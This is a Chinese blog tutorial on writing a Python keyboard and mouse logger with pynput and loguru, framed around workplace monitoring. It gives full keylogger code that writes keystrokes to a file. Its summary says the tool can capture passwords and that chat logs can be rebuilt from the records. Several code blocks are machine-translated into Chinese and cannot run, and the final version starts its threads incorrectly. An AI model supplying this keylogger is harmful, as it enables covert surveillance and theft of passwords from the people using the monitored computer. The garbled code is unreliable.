python线程监控,python监控进程脚本
玩游戏、看视频等钓鱼行为被监控后,劳动者离职倾向也会被监控。今天,我将向你展示如何编写几行Python代码,以便你可以监控计算机。有兴趣的可以学习一下。
00-1010监控键盘监控鼠标记录监控日志完整代码摘要继监控打游戏、看视频等钓鱼行为之后,还将监控员工离职倾向。
有网友爆料称,知乎正在低调裁员,视频相关部门要裁掉差不多一半。在知乎裁员讨论区,有网友表示,企业安装了行为感知系统,可以提前知道员工的跳槽想法。
在否认裁员计划的同时,知乎还声明从未安装使用过线上行为感知系统,以后也不会使用类似的软件工具。
正因为如此,我深信它已经被推到了风口浪尖,舆论的关注度也越来越高。
一时间,关于“工作太辛苦”“一点隐私都没有”的讨论层出不穷。
今天,我将向您展示如何编写几行Python代码,以便您可以监控您的计算机。
目录
如果公司偷偷在我们的电脑上运行一个后台进程来监控我们的键盘事件,最简单的python编写大致是这样的:
从pynput导入键盘
def on_press(按键):
打印(f{key} :pushed )
def on_release(钥匙):
if键==键盘。Key.esc:
返回False
带键盘。Listener(on_press=on_press,on_release=on_release)为lsn:
lsn.join()
随意点击键盘,您将从控制台看到以下输出:
内容是两个方法,一个是监控关键事件,一个是监控退出事件——。按下ESC键后,释放并退出。
监控键盘
如果您仍然想监听鼠标事件,那么上面的代码就可以了:
从pynput导入鼠标
def on_click(x,y,按钮,按下):
如果按钮==鼠标。Button.left:
print(向左按了!)
elif按钮==鼠标。Button.right:
print(右按了!)
返回False
else:
print(mid已按下!)
#定义鼠标监听线程
用鼠标。监听器(点击=点击)作为监听器:
listener.join()
这个代码主要是监控鼠标的左右键点击。操作鼠标后,您可以看到控制台打印出以下结果:
细心的你会发现,每次点击一个事件,都会被打印两次。这是因为同时按下和释放都会触发鼠标事件。
监控鼠标
对于键盘事件和鼠标事件,是时候将它们结合起来,并在日志中记录用户的操作。在这里,我们使用loguru来记录日志。这个python模块在我们之前的文章中也提到过。
整个代码如下:
从pynput导入键盘、鼠标
从loguru导入记录器
从线程导入线程
#定义日志文件
logger.add(moyu.log )
def on_press(按键):
logger . debug(f“{ key } : pushed’)
def on_release(钥匙):
if键==键盘。Key.esc:
返回False
#定义键盘监听线程
def压力线程():
带键盘。Listener(on_press=on_press,on_release=on_release)为lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug(left was pressed!)
elif button == mouse.Button.right:
logger.debug(right was pressed!)
else:
return False
# 定义鼠标监听线程
def click_thread():
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == __main__:
# 起两个线程分别监控键盘和鼠标
t1 = Thread(target=press_thread())
t2 = Thread(target=click_thread())
t1.start()
t2.start()
运行之后,你就可以在同级目录下的日志文件中,看到这样的内容了:
完整代码
#!/usr/bin/env python3# -*- coding: utf-8 -*-
"""
@author: 闲欢
"""
from pynput import keyboard, mouse
from loguru import logger
from threading import Thread
# 定义日志文件
logger.add(moyu.log)
def on_press(key):
logger.debug(f{key} :pushed)
def on_release(key):
if key == keyboard.Key.esc:
return False
# 定义键盘监听线程
def press_thread():
with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug(left was pressed!)
elif button == mouse.Button.right:
logger.debug(right was pressed!)
return False
else:
logger.debug(mid was pressed!)
# 定义鼠标监听线程
def click_thread():
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == __main__:
# 起两个线程分别监控键盘和鼠标
t1 = Thread(target=press_thread())
t2 = Thread(target=click_thread())
t1.start()
t2.start()
总结
本文主要通过 pynput 这个 python 模块讲解一下怎么记录键盘和鼠标的操作。这几行简单的代码对于监控输入密码之类的简单操作可以使用,但是对于聊天记录之类的复杂语句,你还需要针对日志用 NLTK 语言处理,才能复原你的聊天记录。
以上就是利用Python写个摸鱼监控进程的详细内容,更多关于Python摸鱼监控进程的资料请关注盛行IT软件开发工作室其它相关文章!
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。